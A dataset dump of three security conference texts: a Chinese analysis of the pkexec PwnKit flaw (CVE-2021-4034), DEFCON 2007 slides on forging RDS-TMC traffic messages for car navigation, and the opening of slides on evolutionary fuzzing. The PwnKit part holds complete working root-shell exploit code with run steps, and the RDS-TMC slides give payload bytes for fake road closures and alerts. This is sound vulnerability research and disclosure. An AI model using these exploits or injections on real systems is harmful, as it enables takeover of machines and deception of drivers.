text
stringlengths
100
9.93M
category
stringclasses
11 values
1 CVE-OLON-QLPQ pkexec本身是⽤来授权⽤户以其他身份执⾏程序,他具备suid属性,但由于常规功能下不⽀持直接执⾏ 命令,⽆法利⽤于suid提权。 pkexec是polkit (默认安装的系统服务)这个套件的程序。 CVE-2021-3560 利⽤的dbus-send,这次是 CVE-2021-4034 利⽤的 pkexec,上次影响的<=0.113 版本,这次影响全部版本。 Ubuntu、Debian、Fedora 和 CentOS 等默认安装pkexec,均受影响 暂时⽆吧 pkexec --version查看版本 https://github.com/wingo/polkit/blob/master/src/programs/pkexec.c 简单来讲,就是越界读写,导致不安全的环境变量写⼊,这种越界写⼊允许我们重新引⼊⼀个 将“不安 全”环境变量(例如 LD_PRELOAD)放⼊ pkexec 的 环境; 如果是正常设置环境变量,这些“不安全”变 量通常会被删除(通过 ld.so) 如GCONV_PATH就是不安全的环境变量,因为他会导致任意so执⾏。同时pkexec是⼀个默认具有suid 属性的程序,如果能让其执⾏命令,那么就能导致suid提权了。 所以利⽤中允许我们绕过过滤写⼊GCONV_PATH,然后设置gconv-modules⽂件,触发字符集转换, 调⽤iconv_open加载对应字符集的so⽂件。 漏洞介绍 漏洞影响 安全版本 漏洞分析 2 如下是pkexec的部分代码,问题在于如果⽤execve调⽤pkexec时,如果 args[] = {NULL} ,传⼊ 到pkexec时,argc=0,但argv[]={NULL},这个时候argv会占⽤⼀个char字符。 534⾏:for循环argc=0,所以不会进⼊循环,但n已经设置成1 610⾏:argv[1]赋值给path execve调⽤新进程的堆栈如下,argv和envp是连续的,这就会导致argv[1]=envp[0] 如果按照上⾯的代码逻辑,如果传⼊的命令不是绝对路径,就会在 PATH 环境变量的⽬录⾥搜索,在赋 值回argv C 复制代码 435 main (int argc, char *argv[]) 436 { ... 534   for (n = 1; n < (guint) argc; n++) 535     { ... 568     } ... 610   path = g_strdup (argv[n]); ... 629   if (path[0] != '/') 630     { ... 632       s = g_find_program_in_path (path); ... 639       argv[n] = path = s; 640     } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 3 ⽐如我调⽤execve时,将环境变量设置成 610⾏:path = 'pwnkit.so:.' 632⾏:s = 'GCONV_PATH=./pwnkit.so:.' 这⾥说明下,因为PATH=xxx,设置⼀个新的搜索⽬录,我只需要创建⼀个名 为'GCONV_PATH=.'的⽬录,并在该⽬录下创建任意⼀个叫'pwnkit.so:.'的程序即可通过 g_find_program_in_path(path) 搜索到该⽂件 639⾏:argv[1] = envp[0] = 'GCONV_PATH=./pwnkit.so:.' 到此为⽌,我们就顺利的将GCONV_PATH写⼊到环境变量中绕过过滤了。注意这⾥要的是 : 后⾯ 的 . ,⽤于加载当前⽬录下的gconv-modules,前⾯pwnkit.so叫啥都⾏ 接下来的⼯作就是怎么触发iconv_open调⽤,以及iconv_open的利⽤链构造 在pkexec调⽤g_printerr打印错误⽇志时,如果CHARSET设置成⾮UTF-8的其他字符集(CHARSET不 是敏感变量,不会被过滤),就会触发iconv_open调⽤ argv[0] "program" argv[1] "option" … argv[argc] NULL envp[0] "value" envp[1] "PATH=name" … envp[envc] NULL C 复制代码 envp[0] = 'pwnkit.so:.' envp[1] = 'PATH=GCONV_PATH=.' 1 2 4 来看⼀下iconv_open函数的执⾏过程: 1. iconv_open函数⾸先会找到系统提供的gconv-modules⽂件,这个⽂件中包含了各个字符集的相关 信息存储的路径,每个字符集的相关信息存储在⼀个.so⽂件中,即gconv-modules⽂件提供了各 个字符集的.so⽂件所在位置。 2. 然后再根据gconv-modules⽂件的指示去链接参数对应的.so⽂件。 3. 之后会调⽤.so⽂件中的gconv()与gonv_init()函数。 4. 然后就是⼀些与本漏洞利⽤⽆关的步骤。 linux系统提供了⼀个环境变量:GCONV_PATH,该环境变量能够使glibc使⽤⽤户⾃定义的gconv- modules⽂件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执⾏过程会如下: 1. iconv_open函数依照GCONV_PATH找到gconv-modules⽂件。 2. 根据gconv-modules⽂件的指示找到参数对应的.so⽂件。 3. 调⽤.so⽂件中的gconv()和gonv_init()函数。 4. ⼀些其他步骤。 上⾯这个技巧其实也在php disable function bypass⾥⽤过 ⾄于怎么触发错误⽇志呢,⽐如pkexec⾥的validate_environment_variable ,这个函数会校验SHELL 或XAUTHORITY环境变量是否有效,如果校验错误,就会调⽤g_printerr,进⽽触发iconv_open的调 ⽤。 5 举例 C 复制代码 XAUTHORITY=../xxxxxx SHELL=/bin/bashxxxxx 1 2 6 根据上⾯分析,就需要四个⽂件 主程序:构造环境变量,通过execve调⽤pkexec 恶意so⽂件:包含gconv_init和gconv两个函数,⽤于执⾏任意恶意代码 gconv-modules:设置需要加载的so⽂件 中间⽬录:'GCONV_PATH=./pwnkit.so:.' 主程序如下 so如下,这⾥setuid等等,是为了linux⾼版本保证Effective UID和Real UID⼀致。 C 复制代码 #include <unistd.h> int main(int argc, char **argv) { char * const args[] = { NULL }; char * const environ[] = { "xxxx:.", "PATH=GCONV_PATH=.", "SHELL=/bin/bashxxxx",        // XAUTHORITY=../xxxxxx "CHARSET=PWNKIT", NULL }; return execve("/usr/bin/pkexec", args, environ); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 7 Makefile C 复制代码 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv(void) { } void gconv_init(void *step) {    setuid(0); seteuid(0); setgid(0); setegid(0); char * const args[] = { "/bin/sh", "-pi", NULL }; char * const environ[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execve(args[0], args, environ); exit(0); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 C 复制代码 CFLAGS=-Wall TRUE=$(shell which true) .PHONY: all all: pwnkit.so cve-2021-4034 gconv-modules gconvpath .PHONY: clean clean: rm -rf pwnkit.so cve-2021-4034 gconv-modules GCONV_PATH=./ gconv-modules: echo "module UTF-8// PWNKIT// pwnkit 1" > $@ .PHONY: gconvpath gconvpath: mkdir -p GCONV_PATH=. cp $(TRUE) GCONV_PATH=./pppp:. pwnkit.so: pwnkit.c $(CC) $(CFLAGS) --shared -fPIC -o $@ $< 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 8 其他环境变量是否也能利⽤,就需要进⼀步分析了,下⾯是不安全的环境变量 9 漏洞利⽤ C 复制代码 #define UNSECURE_ENVVARS \   5   "GCONV_PATH\0"                                                             \   6   "GETCONF_DIR\0"                                                             \   7   "HOSTALIASES\0"                                                             \   8   "LD_AUDIT\0"                                                               \   9   "LD_DEBUG\0"                                                               \  10   "LD_DEBUG_OUTPUT\0"                                                         \  11   "LD_DYNAMIC_WEAK\0"                                                         \  12   "LD_LIBRARY_PATH\0"                                                         \  13   "LD_ORIGIN_PATH\0"                                                         \  14   "LD_PRELOAD\0"                                                             \  15   "LD_PROFILE\0"                                                             \  16   "LD_SHOW_AUXV\0"                                                           \  17   "LD_USE_LOAD_BIAS\0"                                                       \  18   "LOCALDOMAIN\0"                                                             \  19   "LOCPATH\0"                                                                 \  20   "MALLOC_TRACE\0"                                                           \  21   "NIS_PATH\0"                                                               \  22   "NLSPATH\0"                                                                 \  23   "RESOLV_HOST_CONF\0"                                                       \  24   "RES_OPTIONS\0"                                                             \  25   "TMPDIR\0"                                                                 \  26   "TZDIR\0" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 10 查看pkexec版本 先尝试上传编译好的 执⾏会获取到⼀个/bin/sh的交互程序 如果编译的⽆法执⾏,可以上传源码make,注意这⾥拷⻉/usr/bin/true,还可能是/bin/true,根据情 况改动 Shell 复制代码 pkexec --version 1 Shell 复制代码 rz cve.tar.gz tar -zxvf cve.tar.gz 1 2 Shell 复制代码 ./cve-2021-4034 1 11 ⽣成⽂件如下 如果执⾏不成功可以检查下pkexec的suid属性 缓解措施,因为最终利⽤的是suid提权,所以只要去掉suid即可 修复建议 C 复制代码 ls -alt /usr/bin/pkexec 1 12 chmod 0755 /usr/bin/pkexec 分析 https://mp.weixin.qq.com/s/3rnkcRfX_BxzlVzp0stQRw 详细原理 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local- privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 利⽤ https://haxx.in/files/blasty-vs-pkexec.c 利⽤ https://github.com/berdav/CVE-2021-4034 https://mp.weixin.qq.com/s/bM20T1b39J5MHS14sdLikg 参考链接 其他注意事项
pdf
Injecting RDS-TMC Traffic Information Signals Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. DEFCON 15 Las Vegas, August 3-5 2007 Andrea Barisani Chief Security Engineer <[email protected]> http://www.inversepath.com Daniele Bianco Hardware Hacker <[email protected]> Introduction DISCLAIMER: All the scripts and/or commands and/or configurations and/or schematics provided in the presentation must be treated as examples, use the presented information at your own risk. Copyright 2007 Inverse Path Ltd. Andrea Barisani <[email protected]> Daniele Bianco <[email protected]> This work is released under the terms of the Creative Commons Attribution-NonCommercial-NoDerivs License available at http://creativecommons.org/licenses/by-nc-nd/3.0. Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. What's this all about ? ● Modern In-Car Satellite Navigation systems are capable of receiving dynamic traffic information ● One of the systems being used throughout Europe and North America is RDS-TMC (Radio Data System – Traffic Message Channel) ● One of the speakers bought a car featuring one of these SatNavs...he decided to play with it...just a little... ● We'll show how RDS-TMC information can be hijacked and falsified using homebrew hardware and software Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. Why bother ? ● First of all...hardware hacking is fun and 0wning a car is priceless ;-P ● it's so 80s ● ok seriously...Traffic Information displayed on SatNav is implicitly trusted by drivers, nasty things can be attempted ● more important: chicks will melt when you show this... Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. The Radio Data System ● RDS is used for transmitting data over FM (1187.5 bits/s) ● Described in European Standard EN50067 (April 1998) ● Its most prominent function is showing FM Channel Name on the radio display, also used for Alternate Frequencies, Programme Type, News override, etc. Injecting RDS-TMC Traffic Information Signals 15k 19k 23k 38k 53k 57k Freq (Hz) Mono (L+R) Stereo (L-R) 19kHz Pilot Tone RDS Signal Copyright 2007 Inverse Path Ltd. RDS-TMC Introduction ● First introduced around 1997 (Germany), implemented around Europe in the following years (Italy got it in 2004, Australia will get it in 2007) ● Described in ISO 14819-1 ● TMC uses RDS for transmission over FM broadcasts Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. RDS-TMC Implementation ● Despite being a 10 year old protocol, implementation has been slow, SatNav systems have been fully supporting RDS-TMC only in the last few years ● implemented on most in-car SatNav shipped by the original manufacturer ● External and portable SatNav offer jacks for external FM receivers which add RDS-TMC capabilities ● RDS-TMC is available in both free and commercial services ● TMC can also be transmitted over DAB or satellite radio Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. RDS-TMC Terminal Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. The Issue ● there's no form of authentication of the data (encryption is supported for commercial services but irrelevant to our goals, more on that later) ● We tested the feasibility of decoding and injecting arbitrary TMC messages against our “victim” ● Off-the-shelf components and cheap electronics have been used ● ...you'll be the judge of our results... Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. The Victim Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. Sniffing RDS ● We need to get a “raw” FM signal (MPX), there's a number of tuners that provide an accessible pin for that ● We use the FM1216 module from Philips available on many PCI TV cards (http://pvrhw.goldfish.org) ● Once we have the signal we decode the RDS sub-carrier using a TDA7330B RDS Demodulator (which samples the 1.11875 kHz signal), a PIC for serial conversion and decoding software (sRDSd) ● Using custom hardware and software allowed us to fully understand the protocol and decode TMC (alternatively http://rdsd.berlios.de looks like the most promising project) Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. Sniffing RDS Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. MPX Sniffing RDS ● Main components: 1x TDA7330B 1x PIC16F84 1x MAX232 Injecting RDS-TMC Traffic Information Signals VHF Tuner TDA7330B MPX Serial Input RDS Decoder Analog Signal Digital Signal (Serial) PIC16F84 Copyright 2007 Inverse Path Ltd. Assembly Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. Sniffing Circuit Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. PIC Programming Injecting RDS-TMC Traffic Information Signals ● We program the PIC for converting RDS Demodulator data and send it to the serial port ● custom PIC programmer, a variation of the well known JDM one (http://www.semis.demon.co.uk/uJDM/uJDMmain.htm) ● output are 0 and 1, bad quality data is shown with * and + (either ignore sequences with bad data or replace them with 0 and 1 if you feel lucky) ● http://dev.inversepath.com/rds/pic_code.asm Copyright 2007 Inverse Path Ltd. The Output Injecting RDS-TMC Traffic Information Signals # cat /dev/ttyS0 Copyright 2007 Inverse Path Ltd. RDS Protocol Group structure (104 bits): --------------------------------------- | Block 1 | Block 2 | Block 3 | Block 4 | --------------------------------------- Block structure (26 bits): ---------------- --------------------- | Data (16 bits) | Checkword (10 bits) | ---------------- --------------------- Block 1: --------------------- | PI code | Checkword | --------------------- Block 2: --------------------------------------------------- | Group code | B0 | TP | PTY | <5 bits> | Checkword | --------------------------------------------------- Injecting RDS-TMC Traffic Information Signals PI code = 16 bits Group code = 4 bits B0 = 1 bit TP = 1 bit PTY = 5 bits Checkword = 10 bits Copyright 2007 Inverse Path Ltd. TMC / Alert-C Protocol Block 1: --------------------- | PI code | Checkword | --------------------- Block 2: ----------------------------------------------------- | Group code | B0 | TP | PTY | T | F | DP | Checkword | ----------------------------------------------------- Block 3: ------------------------------------- | D | PN | Extent | Event | Checkword | ------------------------------------- Block 4: ---------------------- | Location | Checkword | ---------------------- Injecting RDS-TMC Traffic Information Signals T = 1 bit F = 1 bit DP = 3 bits D = 1 bit PN = 1 bit Extent = 3 bits Event = 11 bits Location = 16 bits Checkword = 10 bits Copyright 2007 Inverse Path Ltd. TMC / Alert-C Injecting RDS-TMC Traffic Information Signals PI code => Programme Identification Group code => message type identification B0 => version code TP => Traffic Program PTY => Programme Type T, F, D => Multi Group messages DP => Duration and Persistence D => Diversion Advice PN => +/- direction Extent => event extension Event => event code (see also TMDD – Traffic Management Data Dictionary) Location => location code (DAT Location Table - TMCF-LT-EF-MFF-v06) Copyright 2007 Inverse Path Ltd. srdsd Simple RDS Decoder Injecting RDS-TMC Traffic Information Signals ● Our custom tool for RDS decoding: ● ISC-style licensed ● performs nearly full RDS-TMC (and basic RDS) decoding ● text and HTML output with Google Map links of GPS data ● http://dev.inversepath.com/rds/srdsd Simple RDS-TMC Decoder 0.1 || http://dev.inversepath.com/rds Copyright 2007 Andrea Barisani || <[email protected]> Usage: ../srdsd/srdsd [-h|-H|-P|-t] [-d <location db path>] [-p <PI number>] <input file> -t display only tmc packets -H HTML output (outputs to /tmp/rds-<random>/rds-*.html) -p PI number -P PI search -d location db path -h this help Note: -d option expects a DAT Location Table code according to TMCF-LT-EF-MFF-v06 standard (2005/05/11) Copyright 2007 Inverse Path Ltd. srdsd – PI Search Injecting RDS-TMC Traffic Information Signals ● We must “lock” parsing to the relevant PI ● Every FM Channel has its own code (google knows) ● You can guess the PI code by finding the most recurring 16-bit string: # ./srdsd -P rds_dump.raw | tail 0010000110000000: 4140 (2180) 1000011000000001: 4146 (8601) 0001100000000101: 4158 (1805) 1001000011000000: 4160 (90c0) 0000110000000010: 4163 (0c02) 0110000000010100: 4163 (6014) 0011000000001010: 4164 (300a) 0100100001100000: 4167 (4860) 1010010000110000: 4172 (a430) 0101001000011000: 4185 (5218) # ./srdsd -p 5218 -d ~/loc_db/ rds_dump.raw Copyright 2007 Inverse Path Ltd. srdsd output – 0A Group Injecting RDS-TMC Traffic Information Signals Got RDS message (frame 75) Programme Identification: 0101001000011000 (5218) Group type code/version: 0000/0 (0A - Tuning) Traffic Program: 1 Programme Type: 01001 (9 - Varied Speech) Decoded 0A group: Traffic Announcement: 0 Music Speech switch: 0 Decoder Identification control: 100 (Dynamic Switch / PS char 1,2) Alternative Frequencies: 10101010, 10101111 (104.5, 105) Programme Service name: 0101001001010100 (RT) Collected PSN: RTL102.5 Raw dump | Data Checkword Hex Block 1: | 0101001000011000 0000010100 5218 Block 2: | 0000010100101100 0010101101 052c Block 3: | 1010101010101111 1010100110 aaaf Block 4: | 0101001001010100 0100110101 5254 Copyright 2007 Inverse Path Ltd. srdsd output – 8A Group Injecting RDS-TMC Traffic Information Signals Got RDS message (frame 76) Programme Identification: 0101001000011000 (5218) Group type code/version: 1000/0 (8A - TMC) Traffic Program: 1 Programme Type: 01001 (9 - Varied Speech) Decoded 8A group: Bit X4: 0 (User message) Bit X3: 1 (Single-group message) Duration and Persistence: 000 (no explicit duration given) Diversion advice: 0 Direction: 1 (-) Extent: 011 (3) Event: 00001110011 (115 - slow traffic (with average speeds Q)) Location: 0000110000001100 (3084) Decoded Location: Location code type: POINT Name ID: 11013 (Sv. Grande Raccordo Anulare) Road code: 266 (Roma-Ss16) GPS: 41.98449 N 12.49321 E Link: http://maps.google.com/maps?ll=41.98449,12.49321&spn=0.3,0.3&q=41.98449,12.49321 Raw dump | Data Checkword Hex Block 1: | 0101001000011000 0000010100 5218 Block 2: | 1000010100101000 1110000111 8528 Block 3: | 0101100001110011 0001011001 5873 Block 4: | 0000110000001100 0111000011 0c0c Copyright 2007 Inverse Path Ltd. srdsd output – 3A Group Injecting RDS-TMC Traffic Information Signals Got RDS message (frame 181) Programme Identification: 0101001000011000 (5218) Group type code/version: 0011/0 (3A - ODA ID) Traffic Program: 1 Programme Type: 01001 (9 - Varied Speech) Decoded TMC Sys Info group (3A - AID 52550): Location Table Number: 000001 (1) Alternative Frequency bit: 1 Mode of Transmission: 0 International Scope: 1 National Scope: 0 Regional Scope: 0 Urban Scope: 0 AID: 1100110101000110 (52550) Raw dump | Data Checkword Hex Block 1: | 0101001000011000 0000010100 5218 Block 2: | 0011010100110000 1111101000 3530 Block 3: | 0000000001101000 0010011011 0068 Block 4: | 1100110101000110 1111001001 cd46 Copyright 2007 Inverse Path Ltd. srdsd + Google Maps Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. Injecting RDS-TMC Injecting RDS-TMC Traffic Information Signals Video Clip time! Copyright 2007 Inverse Path Ltd. Injecting RDS-TMC Injecting RDS-TMC Traffic Information Signals * WARNING: Your Experience May Differ Copyright 2007 Inverse Path Ltd. Injecting RDS-TMC Injecting RDS-TMC Traffic Information Signals ● We use a commercialy available RDS encoder (40$ USD), but it's reasonable to build your own (we are working on it) ● i2c is being used for communicating with its chipset, we use our custom C application over the supplied client for being able to send different Group Types ● We set all parameters (PI, PTY, etc) + the remaining data (last 3 RDS Blocks in Hexadecimal) ● The checkword is automatically computed by the chipset ● http://dev.inversepath.com/rds/i2c_minirds.tar.gz Copyright 2007 Inverse Path Ltd. Injecting RDS-TMC Injecting RDS-TMC Traffic Information Signals unsigned char PI_buf[PI_BUF] = { '\x52', '\x18' }; /* PI */ unsigned char PS_buf[PS_BUF] = { 'R', 'A', 'D', 'I', '0', '1', '0', '5' }; /* PS */ ... unsigned char UDG2_buf[UDG2_BUF] = {'\x35','\x30','\x00','\x66','\xCD','\x46'}; /* 3A */ unsigned char UDG1_buf[UDG1_BUF] = {'\x85','\x22','\xC8','\x6C','\x05','\x6F'}; /* 8A */ 85 22 C8 6C 05 6F 10000101 00100010 <checkword> 11001000 01101100 <checkword> 00000101 01101111 <checkword> Group B0 TP PTY D F DP D PN Extent Event Location 8 0 1 9 0 0 2 1 1 1 108 1391 8A Group Varied Speech Queueing Traffic | Check against your country | | Location Table | Copyright 2007 Inverse Path Ltd. Injecting RDS-TMC Injecting RDS-TMC Traffic Information Signals i2c Application RDS Encoder Parallel i2c Protocol FM Transmitter MPX TX Antenna Main components: 1x MiniRDS Encoder (http://www.pira.cz) 1x FM transmitter 1x PIC16F84 1x SAA1057 (digital PLL tuning) 1x closed dipole antenna Copyright 2007 Inverse Path Ltd. Injection Circuitry Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd. Transmitting FM Injecting RDS-TMC Traffic Information Signals ● The FM transmitter can be tuned to arbitrary frequencies ● It's important to have a stable transmitter for data injection ● Long distances can be easily covered (but it might be desirable to keep it short enough to reach only the victim) Copyright 2007 Inverse Path Ltd. Transmitting FM Injecting RDS-TMC Traffic Information Signals (Resistance is Futile) TX “The Sterilizer” Antenna Copyright 2007 Inverse Path Ltd. Transmitting FM Injecting RDS-TMC Traffic Information Signals Video Clip time! Copyright 2007 Inverse Path Ltd. Locking the SatNav Tuner Injecting RDS-TMC Traffic Information Signals ● RDS-TMC is detected using 3A Sys Info groups which specify the Location Table, the Scope of the service and timing settings ● Hijack existing channels: 1. Find the frequency of a channel that provides RDS-TMC 2. Obscure the channel and send 8A packets (3A not necessary) when SatNav locks on it (careful timing) ● Fake a FM broadcast using 3A groups: 1. Find an unused frequency 2. Transmit 3A groups continuosly + 8A packets Copyright 2007 Inverse Path Ltd. Being Stealthy Injecting RDS-TMC Traffic Information Signals Option 1: Mix the audio component taken on the Alternate Frequency (AF) for the hijacked channel Option 2: Fake a new channel on an unused frequency RDS Encoder FM Transmitter MPX TX Antenna FM Receiver (on AF) Audio component RX Antenna Copyright 2007 Inverse Path Ltd. Attack 1: Standard Traffic Msgs Injecting RDS-TMC Traffic Information Signals ● We can create: 1. Queues 2. Bad Weather (Rain, Smog, Fog, Fresh Snow,...) 3. Full Car Parks 4. Overcrowded Service Areas (OMG!) 5. Accidents 6. Roadworks ...and so on... ● Not particularly exciting but still nice...it gets better though... Copyright 2007 Inverse Path Ltd. Attack 1: Standard Traffic Msgs Injecting RDS-TMC Traffic Information Signals Code 108 - Queueing Traffic Copyright 2007 Inverse Path Ltd. Attack 2: Closing Roads Injecting RDS-TMC Traffic Information Signals ● We can close arbitrary roads, bridges and tunnels with a number of Events: Closed, No through traffic, Accidents ● The SatNav will pop-up the event (even if no diversion is specified on our model) and ask the user for a detour ● If the closed road is encountered during re-calculation of the route (which is a very common thing) it will be silently avoided ● this attack is also known as “keep your parents from reaching home”... Copyright 2007 Inverse Path Ltd. Attack 2: Closing Roads Injecting RDS-TMC Traffic Information Signals Code 401 - Closed Copyright 2007 Inverse Path Ltd. Attack 2: Closing Roads Injecting RDS-TMC Traffic Information Signals Route avoiding the “Closed” Event Normal route to home Copyright 2007 Inverse Path Ltd. Attack 3: Security Messages Injecting RDS-TMC Traffic Information Signals ● The Event table supports a number of security related messages ● We doubt anyone ever used them so far ● They pose a very interesting target for social engineering purposes (Homeland Security would freak out) Copyright 2007 Inverse Path Ltd. Attack 3: Security Messages Injecting RDS-TMC Traffic Information Signals Code 1518 – Terrorist Incident Copyright 2007 Inverse Path Ltd. Attack 3: Security Messages Injecting RDS-TMC Traffic Information Signals Code 1481 – Air raid, danger Copyright 2007 Inverse Path Ltd. Attack 3: Security Messages Injecting RDS-TMC Traffic Information Signals Code 978 – Air crash Airport Event Copyright 2007 Inverse Path Ltd. Attack 3: Security Messages Injecting RDS-TMC Traffic Information Signals Code 1516 – Bomb alert Copyright 2007 Inverse Path Ltd. Attack 3: Security Messages Injecting RDS-TMC Traffic Information Signals Code 1571 Security alert. Stationary traffic ● Security messages can be pop-up, if they affect current route ● Video Clip time! Copyright 2007 Inverse Path Ltd. Other funny messages Injecting RDS-TMC Traffic Information Signals Code 1456 – Bull Fight (you never know...) Code 1560 – Delays due to parade ...and many more...(no you can't have a pony) Copyright 2007 Inverse Path Ltd. Implementation Issues Injecting RDS-TMC Traffic Information Signals ● On our Honda integrated SatNav we've seen that: ➔ The PI is not associated to the frequency, any PI can be used on any frequency for hijacking ➔ Total cancellation (Event: 2047, Location: 65535) is not honoured ➔ Broadcast message (Location: 65535) is not honoured ➔ Diversion bit is ignored for some categories and always assumed = 1 ● We expect other SatNav systems to have similar or even more interesting issues Copyright 2007 Inverse Path Ltd. RDS-TMC Encryption Injecting RDS-TMC Traffic Information Signals ● TMC supports a very lightweight encryption for commercial services ● Described in ISO 14819-6 ● It's used for signal discrimination rather than authentication ● Only the Location Code is encrypted ● It involves bitwise operations against a key ● The key can be trivially broken by sampling some data ● Terminals that support encryption are also expected to accept un-encrypted data, so injection is still possible Copyright 2007 Inverse Path Ltd. Security Considerations Injecting RDS-TMC Traffic Information Signals ● RDS-TMC can be trivially injected ● Drivers don't tend to have any security awareness towards their SatNav, social engineering, forced detours and panic attacks are possible ● We don't think it's “The End Of The World As We Know It” but these systems should be authenticated considering their increased usage and expansion ● These technologies have a very long life span and “patching” is not easy ● We hope to increase awareness about these kind of problems Copyright 2007 Inverse Path Ltd. TMC Forum Official Response Injecting RDS-TMC Traffic Information Signals ● “Hacking TMC – Unsuccessfully” (...not really) ● “The first and overriding statement that should be made is that transmissions of this type are directly analogous to “pirate” radio broadcasts and certainly will, in the case of Europe and the U.S., contravene each countries respective broadcasting legislation and laws.” ● “...there is a chance that the false message could be decoded, but a degree of knowledge would have to be gained on parameters of the message being coded...” ● “...the random use of any location code would result in a randomly located event... Also random choices of Event codes may not cause the terminal to react...” Copyright 2007 Inverse Path Ltd. Injecting RDS-TMC Traffic Information Signals ● “In the case of (b), i.e. if the transmission is on a different frequency, it is very unlikely that a terminal will even tune to the false service. This is because this frequency will not be either in the main AF list or the secondary AF list broadcast in any of the tuning variants of the TMC data.” ● “Service Providers and Broadcasters, I am sure, have many protection mechanisms and processes in place to prevent any illegitimate access to their services within their infrastructure.” ● read the full response at: http://www.tmcforum.com/en/about_tmc/tmc_news/hacking_tmc_-_unsuccessfully.htm our reply: http://dev.inversepath.com/rds/our_response_to_TMC_Forum_statement.txt Copyright 2007 Inverse Path Ltd. TMC Forum Official Response The Future Injecting RDS-TMC Traffic Information Signals ● TMC is also supported over DAB and satellite radio, it's harder to inject compared to FM but still possible ● TPEG (Transport Protocol Experts Group) is the new standard designed for replacing TMC. It supports encryption but it's still optional. (http://tpeg.org) ● GST (Global System for Telematics) is an impressive new architecture for delivering a number of services. It's backed up by many manufacturers and it will support PKI for billing and transport purposes. Adoption is many years away from now. (http://gstforum.org) Copyright 2007 Inverse Path Ltd. Similar Systems Injecting RDS-TMC Traffic Information Signals ● Microsoft DirectBand (http://www.directband.com), used for MSN Direct, is another FM subcarrier channel for data transmission ● It has a larger bandwidth (15 times that of RDS) and full encryption ● Other than special wristwatches it's also been used on SatNav systems for traffic information (http://garmin.msndirect.com) ● Closed standard, not available in Europe, looks very promising...we'd love to play with that too ;) Copyright 2007 Inverse Path Ltd. The End Thanks for listening! - Questions? (shameless plug) http://www.inversepath.com Traffic Sign Images used with permission from http://gettingaroundgermany.home.att.net Thanks to Brian Purcell Injecting RDS-TMC Traffic Information Signals Copyright 2007 Inverse Path Ltd.
pdf
Revolutionizing the Field of Grey-box Attack Surface Testing with Evolutionary Fuzzing Jared DeMott Dr. Richard Enbody @msu.edu Dr. William Punch DEFCON 2007 VDA Labs, LLC www.vdalabs.com Agenda Goals and previous works (1) Background Software, fuzzing, and evolutionary testing (2) Describe EFS in detail GPF && PaiMei && development++ == EFS (3) Initial benchmarking results (4) Initial results on a real world application Conclusion and future works Goals and Previous Works Research is focused on building a better fuzzer EFS is a new breed of fuzzer No definitive proof (yet) that it’s better than current approaches Need to compare to Full RFC type, GPF, Autodafe, Sulley, etc As of 6/21/07 there are no (available) other fuzzers that learn the protocol via a grey-box evolutionary approach Embleton, Sparks, and Cunningham’s Sidewinder research Code has not been released Hoglund claims to have recreated something like Sidewinder, but also didn’t release details Autodafe and Sulley are grey-box but require a capture (like GPF), or definition file (like Spike), respectively, and do not evolve Section 1: Background Software Testing Fuzz Testing Read Sutton/Greene/Amini And than read DeMott/Takanen Evolutionary Testing Software Testing Software testing can be Difficult, tedious, and labor intensive Cannot “prove” anything other than existence of bugs Poorly integrated into the development process Abused and/or misunderstood Has a stigma as being, “easier” than engineering Software testing is expensive and time-consuming About 50% of initial development costs However, primary method for gaining confidence in the correctness of software (pre-release)‏ Done right, does increase usability, reliability, and security Example, Microsoft’s new security push: SDL In Short, testing is a (NP) hard problem New methods to better test software are important and in constant research Fuzzing, Testing, QC, and QA How does fuzzing fit into the development life cycle? Formal Methods of Development Quality Assurance Quality Control Testing Fuzzing Many other types of testing! Fuzzing is one small piece of the bigger puzzle, but one that has be shown useful to ensure better security Fuzzing Fuzzing is simply another term for interface robustness testing Focuses on: Input validation errors Actual applications - dynamic testing of the finished product Interfaces that have security implications Known as an attack surface Portion of code that is externally exercisable in the finished product Changes of privilege may occur 3. App failure or possible problem? 1. Generate or get data 2. Deliver to application 4. Save data and crash/problem info Yes No Peter Oehlert, “Violating Assumptions with Fuzzing”, IEEE Security & Privacy, Pgs 58-62, March/April 2005 Attack Surface Testing Fuzz testing (typically on) attack surface with semi-valid data Application Process Monitor Attack surface = External Interfaces Network Local Evolutionary Testing Uses evolutionary algorithms (GAs) to discover better test data A GA is a computer science search technique inspired by evolutionary biology Evaluating a granular fitness function is the key ET requires structural (white-box) information (source code) Couldn’t find others doing grey-box ET Brief look at ET: Standard approach, typical uses, problems Current ET Method for Deriving Fitness Approach_level + norm(branch distance)‏ Example: a=10, b=20, c=30, d=40 Answer: fitness = 2 + norm(10). (Zero == we’ve found test data.)‏ (s) void example(int a, int b, int c, int d)‏ { (1) if (a >= b)‏ { (2) if (b <= c)‏ { (3) if (c == d)‏ { //target Typical ET uses Structural software testing Instrument discovered test cases for initial and regression testing Wegener et al. of DaimlerChrysler [2001] are working on ET for safety critical systems Boden and Martino [1996] concentrate on error treatment routines of operating system calls Schultz et al. [1993] test error tolerance mechanisms of an autonomous vehicle 